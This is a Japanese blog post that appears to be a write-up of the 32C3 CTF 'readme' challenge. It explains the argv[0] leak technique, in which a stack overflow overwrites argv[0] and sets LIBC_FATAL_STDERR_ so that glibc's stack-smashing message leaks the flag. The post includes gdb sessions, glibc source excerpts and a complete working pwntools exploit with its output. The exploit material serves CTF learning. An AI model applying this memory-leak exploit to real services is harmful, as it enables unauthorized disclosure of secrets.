読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

32C3 CTF readme

今回の問題はELF-64bitの問題だった。info leak問題で私が今まで知らなかった攻撃方法であったため、かなり勉強になった。ほかにも類似問題があるため、その問題にも挑んでみたい。
とりあえず、今回の問題を解くのにかなり参考になった資料を先に紹介しておく。この資料を提供してくださった方々には、まことに御礼を申し上げます。

pwn.hatenadiary.jp

speakerdeck.com

さて、さっそく問題のほうを見ていこう。まずはセキュリティチェック

shima@chino:~/workspace/pwn_list_easy/readme$ checksec --file readme.bin
[*] '/home/shima/workspace/pwn_list_easy/readme/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled

「どうやら、SSPがあるため、BOFはきびしそうだなぁ」この時点でこういう思いしかなかったが、この考え自体が間違いだった。後々わかることだが、とりあえず、実際にlocalで試してみよう。

shima@chino:~/workspace/pwn_list_easy/readme$ ./readme.bin
Hello!
What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
中止 (コアダンプ)

どうやら、名前を聞かれて入力後に、flagの中身を書き換えるような入力があるらしい。ということは今回はsystemを起動させるというよりはメモリに格納されているflagを読み取るような問題であることが想像できる。ではさっそくデバッグしてみよう。まず気になったのはcanaryをセットするところである。

0x4007f3:   mov    rax,QWORD PTR fs:0x28
0x4007fc:  mov    QWORD PTR [rsp+0x108],rax

gdb-peda$ x/gx $rsp+0x108
0x7fffffffde98:    0x8550dbbcc7ce9900

つまりここを破壊してしまうとBOFを検知して終了してしまうことが分かる。次に気になったのはflagを書き換えるところである。

 0x40084e:   mov    BYTE PTR [rbx+0x600d20],al
 0x400854:  add    rbx,0x1

gdb-peda$ x/s 0x600d20
0x600d20:   "32C3_TheServerHasTheFlagHere..."

どうやら、ここでリモート先のflagが読み取られてここに配置されるようになっているらしい。……以上が気になった点である。ここで私は詰みました。どうしようもないため、write-upをあさっていると私が知らない攻撃が使われていたため、とりあえず理解して、色々試してみることにした。
今回使われる攻撃というものはargv[0] leakと言われるものである。攻撃方法を簡単に説明すると「BOFさせてSSP破壊してargv[0]に好きなアドレスを置いてstack破壊のメッセージを使ってinfo leakしよう」という方法である。ここら辺の説明は上記の資料のほうが詳しいため、説明を割愛する。
今回の問題はflagをleakすればいいが、実はリモートでBOFをやっても,stack破壊のメッセージは表示されない。(PATH_TTYという/dev/ttyに流れてリモート先の端末に表示される)そのため、/dev/ttyに流れないようにLIBC_FATAL_STDERRの値をNULLでない(適当な値)にしてあげなければならない。(多分、xinetd型ではなくsocatをつかっているため)
LIBC_FATAL_STDERRとはどういったものだろうか?glibcソースコードを順を追って見てみよう!
今回は現時点(2017/03/31時点)で最新のglibc-2.25のソースコードを見ている。ソースはどこにあるのか以下にまとめておく

__stack_chk_fail    :glibc-2.25\debug\stack_chk_fail.c
__fortify_fail      :glibc-2.25\debug\fortify_fail.c
__libc_init_first   :glibc-2.25\csu\init-first.c
__libc_message      :glibc-2.25\sysdeps\posix\libc_fatal.c
__libc_secure_getenv:glibc-2.25\stdlib\secure-getenv.c
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

stack_chk_failはfortify_failを呼んでるだけなので__fortify_failをみる。

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
            msg, __libc_argv[0] ?: "<unknown>");
}

ここがエラーが表示されるらしい、argv[0]はここでつかわれるらしい。libc_argv[0]はargv[0]のことを表している(詳しくはinit-first.cにあるlibc_init_firstまたはkatagaitai#4資料を参照)ここだけではまだ、LIBC_FATAL_STDERRはよくわかっていないため、 __libc_messageの関数を見てみる。

__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1)
    fd = STDERR_FILENO;
(以下省略)

どうやらここで、LIBC_FATAL_STDERR_が使われているようだった。初期値にfd = -1が入っている。ここの戻り値がNULLであれば、/dev/tty(端末)に流れるため、それをうまくNULL以外の値にしてあげて、STDERR_FILENOで標準エラー出力にしなくてはならない。ここだけではまだよくわからないため、__libc_secure_getenvを見てみよう。

char *
__libc_secure_getenv (const char *name)
{
  return __libc_enable_secure ? NULL : getenv (name);
}

ここでようやく何をしているのか分かった。どうやら、getenv()で環境変数(envp[])からname(今回の場合はLIBC_FATAL_STDERR)の値が入っているかどうかで判断しているらしい。LIBC_FATAL_STDERRの値がNULLであれば、/dev/ttyに流れ、NULLでなければ標準エラー出力に流れる。つまり、今回は環境変数にLIBC_FATAL_STDERR_=(適当)な値を入れておけばリモート先につないでも見えるはずである。つまり今回の攻撃をまとめると以下のようになる。

flag                    (argv[0])
NULL                    (argvとenvpの境目には実行ファイルの構造上NULLが入る)
LIBC_FATAL_STDERR_= 適当(envp[0])

このようにすれば上手くいくはずである。しかし、ここで問題が出てくる。flagは途中で書き換わってしまう(二回目の入力)ため、上手く表示することができない。すると以下のようなことがwrite-upを見て分かった。どうやら、x64の初期配置は0x400000になっている。これは以下のコマンドを実行してみるとわかる。

shima@chino:~/workspace/pwn_list_easy/readme$ ld --verbose
******************************************上記を省略**********************************************************************
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

し、知らなかった(焦り)このことから.dataに入っている値は0x600d20にも入っているが、0x400d20にも入っている。実際に確認してみよう。

gdb-peda$ x/s 0x600d20
0x600d20:  "32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/s 0x400d20
0x400d20:  "32C3_TheServerHasTheFlagHere..."

マジで入ってる( ^ω^ )。…ということでここまで確認できたということで実際に攻撃を組み立ててみよう。まずは一回目の入力でBOFさせて以下のような配置にする

A*0x210
1       (argc)
0x400d20(argv[0])
NULL    (境目)
0x600d20(envp[0])

argcまでのoffsetは0x210byteであり、そこから配置していく。そして二回目の入力は改行文字がくるまで、一文字ずつ0x600d20+ebxという形でebxを加算しながら入れていくため、それを利用してLIBC_FATAL_STDERR_= (適当)を送る。
ではさっそく、コードべちょー。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = '8888'
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./readme.bin')
        print "[+] connect to local\n"

flag_addr = 0x600d20

payload = ''
payload += "A" * 0x210
payload += p64(1)                   # argc
payload += p64(flag_addr - 0x200000)# argv[0]
payload += p64(0)                   # NULL
payload += p64(flag_addr)           # envp[0]
payload += '\n'

conn.send(payload)

payload = "LIBC_FATAL_STDERR_=syarochan\n"
conn.send(payload)

print conn.recvall()

独断と偏見でLIBC_FATAL_STDERR_の値をsyarochanにしている(シャロちゃんかわいい)。socatを以下のような例にして実際に動くか試してみる。

shima@chino:~/workspace/pwn_list_easy/readme$ socat TCP-LISTEN:8888,reuseaddr,fork EXEC:./readme.bin,stderr
shima@chino:~/workspace/pwn_list_easy/readme$ python exploit.py r
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[+] Receiving all data: Done (693B)
[*] Closed connection to localhost port 8888
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

shima@chino:~/workspace/pwn_list_easy/readme$ 

上手く動いている。ちなみに、二回目の入力をLIBC_FATAL_STDERR_の偽造を行わなかったら、/dev/tty(リモート先端末)に流れることも確認してみて欲しい。
【総評】argv[0]に対する考え方が広がった。